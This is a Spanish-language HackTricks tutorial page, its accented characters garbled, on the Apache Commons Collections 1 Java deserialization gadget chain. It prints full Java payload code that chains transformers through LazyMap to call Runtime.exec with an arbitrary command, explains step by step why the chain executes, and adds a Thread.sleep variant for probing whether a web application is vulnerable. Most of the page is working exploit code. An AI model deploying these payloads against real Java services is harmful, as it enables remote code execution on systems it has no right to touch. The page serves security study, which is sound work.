CommonsCollection1 Payload - Java Transformers a Rutime exec() y Thread Sleep

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Java Transformers a Rutime exec()

En varios lugares puedes encontrar una carga 煤til de deserializaci贸n de java que utiliza transformadores de las colecciones comunes de Apache como la siguiente:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Si no sabes nada sobre los payloads de deserializaci贸n de Java, podr铆a ser dif铆cil entender por qu茅 este c贸digo ejecutar谩 un calc.

Primero que nada, necesitas saber que un Transformer en Java es algo que recibe una clase y la transforma en otra diferente.
Tambi茅n es interesante saber que el payload que est谩 siendo ejecutado aqu铆 es equivalente a:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

O m谩s exactamente, lo que se va a ejecutar al final ser铆a:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

C贸mo

Entonces, 驴c贸mo se presenta la primera carga 煤til equivalente a esas "simples" l铆neas de c贸digo?

Primero que nada, puedes notar en la carga 煤til que se crea una cadena (array) de transformaciones:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Si lees el c贸digo, notar谩s que si de alguna manera encadenas la transformaci贸n del array, podr铆as ejecutar comandos arbitrarios.

Entonces, 驴c贸mo se encadenan esas transformaciones?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

En la 煤ltima secci贸n de la carga 煤til, puedes ver que se crea un objeto Map. Luego, se ejecuta la funci贸n decorate de LazyMap con el objeto map y los transformadores encadenados. A partir del siguiente c贸digo, puedes ver que esto har谩 que los transformadores encadenados se copien dentro del atributo lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Y luego se ejecuta el gran final: lazyMap.get("anything");

Este es el c贸digo de la funci贸n get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Y este es el c贸digo de la funci贸n transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

As铆 que, recuerda que dentro de factory hab铆amos guardado chainedTransformer y dentro de la funci贸n transform estamos recorriendo todos esos transformers encadenados y ejecutando uno tras otro. Lo curioso es que cada transformer est谩 usando object como entrada y object es la salida del 煤ltimo transformer ejecutado. Por lo tanto, todas las transformaciones est谩n encadenadas ejecutando la carga 煤til maliciosa.

Resumen

Al final, debido a c贸mo lazyMap est谩 gestionando los transformers encadenados dentro del m茅todo get, es como si estuvi茅ramos ejecutando el siguiente c贸digo:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Tenga en cuenta c贸mo value es la entrada de cada transformaci贸n y la salida de la transformaci贸n anterior, lo que permite la ejecuci贸n de una l铆nea:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Nota que aqu铆 se explicaron los gadgets utilizados para el payload de ComonsCollections1. Pero queda c贸mo todo esto comienza a ejecutarse. Puedes ver aqu铆 que ysoserial, para ejecutar este payload, utiliza un objeto AnnotationInvocationHandler porque cuando este objeto se deserializa, invocar谩 la funci贸n payload.get() que ejecutar谩 todo el payload.

Java Thread Sleep

Este payload podr铆a ser 煤til para identificar si la web es vulnerable ya que ejecutar谩 un sleep si lo es.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

M谩s Gadgets

Puedes encontrar m谩s gadgets aqu铆: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks